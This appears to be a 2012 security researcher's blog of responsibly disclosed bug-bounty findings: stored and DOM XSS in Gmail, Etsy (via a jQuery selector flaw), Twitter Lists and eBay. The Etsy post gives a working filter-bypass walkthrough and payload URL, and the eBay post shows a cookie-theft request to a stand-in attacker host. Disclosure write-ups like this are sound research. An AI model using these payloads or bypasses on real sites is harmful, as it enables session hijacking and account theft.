Pages

Sunday, August 26, 2012

White-hat cyberbug bounty nets cash - NYPOST

White-hat cyberbug bounty nets cash

By SARA ASHLEY O’BRIEN

Come on, White Hats: Hack into our system, find a bug — and make it an interesting one! This seems to be the resounding message that major online businesses are spreading.
With US spending on cybercrime security estimated to exceed $23 billion this year, according to the research company Gartner, online businesses are onto the fact that cybercrime is a very real threat.`


`Businesses like Facebook, Google, Mozilla, Adobe, Microsoft and, as of June, PayPal, have developed “Bug Bounty” programs to recruit savvy security researchers like Hayak to help fight the good fight against cybercrime.


These Are snippets from a great story I got to be part of advertised in the NYPOST

Read more:
http://www.nypost.com/p/news/business/white_hat_cyberbug_bounty_nets_cash


Great Write 
I appreciate the story very much, Thank you NYPOST


Wednesday, June 27, 2012

Google Mail Hacking - Gmail Stored XSS - 2012!

Gmail Accounts Hacking Risk 2012! 

Millions of users use Gmail as their information center to perform actions such as Business, Chat, Place Orders, Payment confirmation, main password recovery mail for different web services and so on...
many people - including myself use Gmail to store and save important and personal data, none of us want our data to be at risk of steal, manipulation, and obviously not considering the Gmail account being completely hacked!
I found a possibility to do all that!


Fortunate enough for us, Google is taking a lot of efforts securing their services. mostly by doing a great job, which integrates supporting a vulnerability reward program.


I made a quick research and reported this vulnerability along with all the related details. 
I must say Google's response was very quick and so as their fix. (it is Fixed)


as it appears here :Vulnerability Reward Program even after the bounty raise:
Google's Reward for this bug: $1337 (mail.google.com)
PoC Picture:


Technical Details: 

I am quite busy at work and personal life at these days so I placed a side the reward programs of Google, Facebook And others.


I was just checking my mail the other day and I noticed something different.
Google made this nice change in Gmail , apparently around December 2011 - Google Adds circles to Gmail 
"Users can now Filter their Mails based on their Circles"


Trusting your Google+ Friends?

When I clicked this Gmail Circles feature, I saw my Google+ connections: profile pictures, nicknames and some other circles related data 
Do they Control this data?! - Yes!
I had to spend some time back in the business, Gmail Stored XSS is a serious finding!

So I imminently researched that feature's JavaScript code.
It appeared that data that comes from Google+ was not sanitized by Gmail!

    zk.prototype.Ca = function $pn(a, c, d) {
        this.xa = 0;
        if (!this.ea) {
            //Shorten/removed
            var e = this.Bb.zb().body, g = this.ea.va();
            //Shorten/removed
            e.wa = h
        }
        a: {
            if (d)
                switch (d.toLowerCase().split(",")[1]) {
                    case "l":
                        break a;
                    case "r":
                        /removed;
                        break a
                }
            e = 2
        }
        this.wa.setPosition(cka(d), e, i, -1);
        jc(this.ea.va(), "T-ays-avH");
        ud(this.ea.va(), 0, 0);
        this.ea.Mc().innerHTML = c; //c = Data from Google+;
        this.wa.To(a);
        this.wa.Me(k, 0)
    }; 


This Gmail Code was creating a Tool-tip that Included profile circles information that comes from your Google Plus friend's account, if they used a payload, your mail account would have been at a serious risk.


Exploiting the Vulnerability - malicious Google+ Account.


As First it is important to note that Anyone that already got accepted as your friend in Google+ could trigger this attack on your Gmail account!

So all that is left is crafting a very nice Google+ account with some attractive profile, then after this evil account gets many friends/victims - Attack em all!

Google+ was and still is blocking the possibility of using a payload in the required field that was used to trigger this attack, but I found a way around it, sorry but I cannot reveal how I did that. (I am sure some of you pros might know how).

After I used my technique and crafted the Google+ evil profile it was possible to attack Gmail of all of that profile's friends! 


PoC Picture: 



As always I appreciate the opportunity to preserve my skills and gain some more experience
Thank you Google security team.


"Ben Hayak" - Google Security Hall of Fame Page
http://www.google.com/about/company/halloffame.html



Friday, June 15, 2012

Layer3 DOM XSS in Latest jquery - Etsy

Turning Useless Self DOM XSS into a treat!

During my research and study over DOM XSS and developing my own detection technique, I found this interesting case which a DOM XSS undetected by any DOM XSS scanner I came across triggered, so I decided to share and provide a quick overview of how I took this self layer 3 DOM XSS into a Working and exploitable DOM XSS.
it all started with this small code:

1
2
3
4
<script type="text/javascript">
Etsy.loader.require('jquery.ba-hashchange');
Etsy.loader.require('help');
</script>

This is Going to be a long one but this covers:

  • DOM XSS.
  • Logic Flow Exploitation .
  • JQuery Vulnerability (Latest release - Unpatched yet).


Final Conclusions:
1. 1st conclusion(easy) the main javascript layer loads a second dynamic block (covered)

2. the payload goes through the dynamic code block and inside gets through a filter to avoid DOM XSS (appears as Self-Only).
3. the layer 2 code block loads another layer(3) this time it is jquery, and then exectue a function that is vulnerable to DOM XSS(latest version 1.72 and older versions as well).

Self DOM XSS?

using the help section search feature I could trigger a very simple XSS by typing the payload in the search box and hit search X_X,This is pretty lame. 
(once I used a payload directly in the url it got filtered without trigger)
We need the victim to be careless enough to actually type the payload and click the search button. I consider this situation as almost worthless and low risk Self XSS,
so I thought this might be useless and not exploitable.

Strange Behavior (not so fast...):

But, that is when I noticed a strange behavior! Look at the picture below:
 (using a payload of <img src=1 onerror=javascript......>)



Something strange?

If you do not see it you should gather yourself and look more carefully next time you think you covered the security holes and were about to report: not exploitable or low risk vulnerability.



What is so strange?


what you can see in the picture is that the XSS triggered (<img src=1> TAG) and for some reason the payload "disappeared" from the URL Query right?

Oh wait, was it??? No!
It was only filtered! the query is now changed to "http://site.com/help/2643#/afsddddddd/1" where did that "/1" came from? what is going on?
let us run more tests:
Look what happens when I used this URL:
"http://site.com/help/2643#/String     2ndString/1"

The filter turned it into the following:
http://site.com/help/2643#/String/2ndString/1

Now that is definitely worth a deeper look at the code loaded as layer 2:


Filter Details (YES It is vulnerable):

The Filter was checking for location.hash, and replaced any space with a "forward slash" to separate the query string as well as replacing any potential XSS HTML Tag with NULL using a regex.

seems right, but, There was a HUGE Security Hole.

Final Conclusions again:
1. 1st conclusion(easy) the main javascript layer loads a second dynamic block (covered).

2. the payload goes through the dynamic code block and inside gets through a filter to avoid DOM XSS (appears as Self-Only) (covered).
3. the layer 2 code block loads another layer(3) this time it is jquery, and then execute a function that is vulnerable to DOM XSS(latest version 1.72 and older versions as well).

HUGE Security Hole in legitimate XSS Filter:


This is where the magic happened! there is a javascript code block condition, this condition determines if the user is actually using the search feature and should be checked for DOM XSS using the layer 2 code block javascript code or not.
after researching all the relevant code in the javascript filter block, it appeared that exploitation is pretty simple!
legitimate behavior:
http://site.com/help/2643#/PAYLOAD/1

So once the search string starts with Forward Slash "/" the condition match, the system consider this a legitimate safe search, and the filter will replace any payload with NULL then pass filtered payload to a vulnerable jquery function.

Remember! This is a DOM event that executes jquery!

So what had to be done is:
1. Insert a Forward slash into the global URI (Before the hash sign).


2. Then insert the payload into the client-side only URI (Right after the hash sign without a slash)

Logic flow Vulnerability:
This way I managed to Trick the system to pass the Forward Slash Condition, and cause the filter to fail and step over the regex to the next stage of passing my payload directly into the vulnerable jquery function!

Final Payload:
http://site.com/help/2643/#<img src=1 onerror=javascript:alert('EXPLOITABLE!')>




but why is this vulnerable?


Vulnerable DOM XSS CODE - 

JQUERY(line 10):



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(function(){
        o=$("#attachment-shim");
        k=$("#file-form");
        var a="iframe"+(new Date).getTime();
        g=$('<iframe id="'+a+'" name="'+a+'" />').hide();//<iframe id="iframe1334892619493" name="iframe1334892619493" />

        k.attr("target",a).after(g);
        o.bind("change",q);
        if(a=window.location.hash.substring(1)) // sets a to "<img src=1 onerror=javascript:alert(1)>"
if($('a[name|="'+a+'"]')[0]) { // GAME OVER we got our Executer "a[name|=\"<img src=1 onerror=javascript:alert(1)>\"]" (later will be parsed with jquery " for(s.innerHTML=m[1]+l+m[2];o--;) "
            a=$('a[name|="'+a+'"]').parents("div.topic");
            a.find("ol span").removeClass("bottom");
            a.find(".view-less").show();
            a.find(".view-all").hide()
        }
        else m();
        f=true;
        topic_box=
        $("#topic");
        topic_box_val=topic_box.val();
        if(topic_box_val!=0||$("#message").val()!=""){
            d=true;
            h=topic_box_val;
            n()
        }
        
    })()
});

inside this "IF" Condition(line 10) there is a call to a vulnerable jquery function:

if($('a[name|="'+a+'"]')[0])


Which executes a function in jquery code that include the following line:
for(s.innerHTML=m[1]+l+m[2];o--;)

after bypassing all of these conditions our payload will be stored in "l" variable like this

l = "<img src=1 onerror=javascript:alert('DOM XSS')>"
and as a result of the for loop, will be injected into the innerHTML of the page triggering the XSS.

After I reported I noticed that, I never knew but it seems like there is an opened ticket in jquery bugs,
Reference: http://bugs.jquery.com/ticket/9521

Final Conclusions again:
1. 1st conclusion(easy) the main javascript layer loads a second dynamic block (covered).
2. the payload goes through the dynamic code block and inside gets through a filter to avoid DOM XSS (appears as Self-Only) (covered).
3. the layer 2 code block loads another layer(3) this time it is jquery, and then execute a function that is vulnerable to DOM XSS(latest version 1.72 and older versions as well) (covered).


It is always fun when web applications are open for a vulnerability report allowing me to research over these very interesting security flows that requires combining all the pieces together.


Thank you etsy!
Etsy Thank you list: http://www.etsy.com/help/article/2463

Tuesday, May 8, 2012

Twitter Vulnerability Potential XSS Worm!!! another hero?

Twitter is one of the leading social networking and information sharing system these days.
I have recently discovered(and reported) a XSS vulnerability that if not reported could lead to something similar to "HyHack is my hero"  ;).

For whoever of you who did not know, Twitter Implemented a feature called "Lists", this feature lets any user  the ability of adding anyone, without any terms or relation to the "follow" mechanism (they don't have to follow the attacker and vice versa)*, to his malicious XSSed list.

The reason of this being so High Risk stored XSS vulnerability, is that the attack potentially triggered on anyone who entered the attacker's profile "Lists" using a mobile. after a victim got infected, the attack triggers again and infect anyone who will view the victim's "Lists" and anybody who will view theirs and so on... (only victims that will use a mobile will get infected! reminds you of something? )

*I did not test if a user can add a protected (locked) people to his lists.  any comment on this will be appreciated.

PoC Picture watching the victim's profile:

The effect of this XSS is ONLY on victims that use twitter on Mobile!
I most say the lists feature was not fully implemented in the browser at the time I was testing, so most of my testing performed on the "Me" tab.
Twitter did a great job resolving this vulnerability very quickly (~Day after my report), and placed my name in the Twitter Security Whitehats page(2012) later on.
I would like to thank Twitter for their work and for giving me the opportunity to report a responsible disclosure and help keeping Twitter Users safe.

Sunday, May 6, 2012

eBay Security 2011 & 2012 Wide Security Vulnerabilities

eBay has different websites for different countries, As a result of a wrong implementation of some common feature in eBay websites, I've discovered a wide vulnerability that makes all of eBay's users vulnerable and at risk of being hacked!


2012 - XSS Wide Vulnerability 

The payload was injected into a script tag,
bypassing browser's anti-xss filters, and with the ability of full session hijacking and
hacking into eBay's users.



This Time eBay did a great job fixing this vulnerability.


2011 - Vulnerability in all eBay Stores
in 2011 I've Discovered a vulnerability which was quite simple to exploit since user input passed through character blacklist which until my report didn't sanitized input correctly.



2011 - Interesting Wrong Fix - 


Bypass: Single Parameter Splitting Injection XSS (alert isn't the goal!) 

After my report to the manager of eBay security team, eBay came up with a fix.
this fix contained a server side update to the character blacklist, this time they made it so it will replace the "plus(+)(%2B)" sign and occurrences of "Double Slash(//)" with nothing("") in addition to the filtering of "Brackets (<>)" ,Limiting the parameter's allowed lenght and other forbidden characters.

So, alert? prompt?? could you steal a cookie with alert? can you do it without generating a request to your domain?
A request to the attacker's web listener would normally(there are some techniques to evade that, this bypass comes to show how to deal with a normal real situation) require the use of double slash "plus" sign and long payload.  i.e 'http://attacker.com/?s='+document.____  so it may seem like a partial but anti-session hijacking fix.
After working on this filtering I came up with a modified payload which could be used to bypass the filtering and generate a requests to an attacker's website with the user's sensitive web elements/objects! (including cookie!), then I made a video of full-session hijacking.
the reason I am posting about this issue is the interesting vector of my bypass.
Enjoy watching:



eBay did and still doing a great job as they take great care for security, I thank them for that.
I am pleased I could help eBay's security team making eBay's users and customers a bit more secure.

For all of my reports (2011-2012) and security assistance to eBay, eBay gave their special appreciation ;)